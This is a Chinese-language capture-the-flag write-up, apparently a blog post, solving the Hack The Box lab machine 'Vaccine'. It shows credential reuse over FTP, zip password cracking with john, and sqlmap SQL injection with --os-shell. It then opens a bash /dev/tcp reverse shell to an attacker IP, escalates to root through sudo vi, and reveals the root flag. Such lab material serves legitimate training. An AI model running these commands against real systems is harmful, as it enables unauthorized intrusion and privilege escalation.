攻击机:kali-linux
靶机:Vaccine
---------------------------------------------------------------------------------------------------------------------------------
网络配置:操作与Archetype靶机相同,链接:Hack The Box : Starting Point - Archetype_丶 Chave的博客-CSDN博客
渗透过程
已知目标ip为10.10.10.46,先使用nmap对目标主机进行端口服务扫描。发现开放了21、22、80端口。
用浏览器访问目标主机80端口,发现是一个登录界面,但不知道用户名密码。此时利用在上个靶机得到的ftp账号密码连接目标主机21端口。执行以下命令输入用户名密码连接目标21端口的ftp服务。
ftp 10.10.10.46
利用ls命令,发现一个名为backup.zip的文件,利用get命令下载到本地。
get backup.zip
将backup.zip移动到桌面,尝试解压发现该压缩文件存在密码。则利用john工具尝试进行zip密码破解。 发现成功爆破出backup.zip的密码:741852963
zip2john backup.zip > hash //用于获得backup.zip的hash文件
john hash
输入密码解压backup.zip发现index.php的后端源码。打开后得到登录的用户名密码分别为:admin/2cb42f8734ea607eefed3b70af13bbd3。该密码字符串加密方式疑似md5,在线网站解密得到明文密码为:qwerty789。利用该账号密码即可成功登录。
随意在搜索框内输入点击搜索,发现url处存在search传参,即有可能存在sql注入。将search传参值修改为单引号,发现出现语法报错。则此处存在sql注入可能性极大。
刷新页面利用BurpSuite抓包,在桌面新建1.txt文件,将数据包复制进1.txt中,在search处加*。利用sqlmap判断此处是否存在sql注入。sqlmap测出存在sql注入。
sqlmap -l 1.txt --level 3 --risk 2
利用命令--is-dba判断是否为高权限。返回True,则利用命令--os-shell尝试拿shell。
发现输入命令后成功获得shell。
sqlmap -l 1.txt --level 3 --risk 2 --is-dba
sqlmap -l 1.txt --level 3 --risk 2 --os-shell
但发现通过sqlmap拿到的shell可执行的命令非常有限,则用nc监听本地8888端口,在sqlmap命令行执行以下命令,可在nc命令行获得一个新shell。
bash -c "bash -i &> /dev/tcp/10.10.14.148/8888 0 > &1"
bash -c 代表用bash来执行一段命令,参数c后面加上一段需要执行的命令
bash -i 代表建立一个交互式的shell
> 这个我们经常见到,例如我们常用 echo “hello world” > hello.txt,这个代表将将字符串写入一个文件
那么&>又代表什么呢?我们先来了解一下shell中的三个文件描述符(file descriptor)。
0是一个文件描述符,表示标准输入(stdin),即在shell中我们输入的字符。
1是一个文件描述符,表示标准输出(stdout),即在shell中系统输出的字符。
2是一个文件描述符,表示标准错误(stderr),即shell中报错输出的字符。
在>前面的&代表文件描述符1和2,也就是标准输出和标准错误信息,这里是把交互式bash中的标准输出信息和报错信息都写入/dev/tcp/10.10.14.148/8888文件中。
这里的/dev/tcp是一个设备文件,并不是一个真正的文本文件。它的作用是建立tcp连接,在这里是与10.10.14.148的8888端口建立连接。
0 > &1 这代表bash中的标准输入信息写入文件管道1(stdout),这里的&的意思与前面的不同,这里&与1是一个整体,&1代表文件描述符1(stdout)。而前面已经通过命令&>将文件管道1(stdout)的数据写入了/dev/tcp,所以这里的文件管道0的数据也会跟随文件管道1写入/dev/tcp。这样就将bash -i中的全部数据传输到了本地监听程序中,也就建立一个shell。
但此时获得的shell为非交互式shell,用以下命令将shell升级为交互式shell。
SHELL=/bin/bash script -q /dev/null
可以在Hack The Box官网看到此靶机无user flag。直接考虑提权。在/var/www/html目录中用cat命令查看dashboard.php文件。找到数据库连接语句,获得疑似postgres用户密码:P@s5w0rd!。
cat /var/www/html/dashboard.php
用以下命令查看当前用户sudo权限。我们发现postgres账号可以以root权限运行vi,在vi中是可以调用shell的。我们用root权限打开vi,然后再通过vi调用shell,这样这个shell也是以root权限运行。
sudo -l
-l:显示出自己(执行 sudo 的使用者)的权限
vi/vim 是Unix Like系统文书编辑器,其他的文书编辑器则不一定会存在。
基本上 vi/vim 共分为三种模式,分别是命令模式(Command mode),输入模式(Insert mode)和底线命令模式(Last line mode)。
在这里主要用到了命令模式。
命令模式:
用户刚刚启动 vi/vim,便进入了命令模式。
此状态下敲击键盘动作会被Vim识别为命令,而非输入字符。比如我们此时按下i,并不会输入一个字符,i被当作了一个命令。
以下是常用的几个命令:
- i 切换到输入模式,以输入字符。
- x 删除当前光标所在处的字符。
- : 切换到底线命令模式,以在最底一行输入命令。
若想要编辑文本:启动Vim,进入了命令模式,按下i,切换到输入模式。
命令模式只有一些最基本的命令,因此仍要依靠底线命令模式输入更多命令。
首先执行以下命令以root的权限打开vi。
sudo vi /etc/postgresql/11/main/pg_hba.conf
在以root权限运行vi中调用shell即可以root身份打开shell,即可获得root权限。在这里运行vi会重叠,直接输入以下命令回车即可运行。
:!/bin/bash
“:”表示命令模式,在vi/vim的命令模式下“!”加在命令后面表示强制执行,如果加在前边表示这是一条shell命令。这句命令表示以shell命令的方式执行/bin/bash,也就是打开一个交互式终端。
用cat命令查看/root目录下root.txt即可获得flag:dd6e058e814260bc70e9bbdef2715849。
总结与遇到的问题
1、sqlmap拿到的os-shell可执行bash命令再反弹一个shell到本地。这里sqlmap有时能拿shell有时不能,感觉是个bug,也有可能是其他玩家操作导致。
2、以root身份打开的vi的命令模式下调用的shell也是root权限。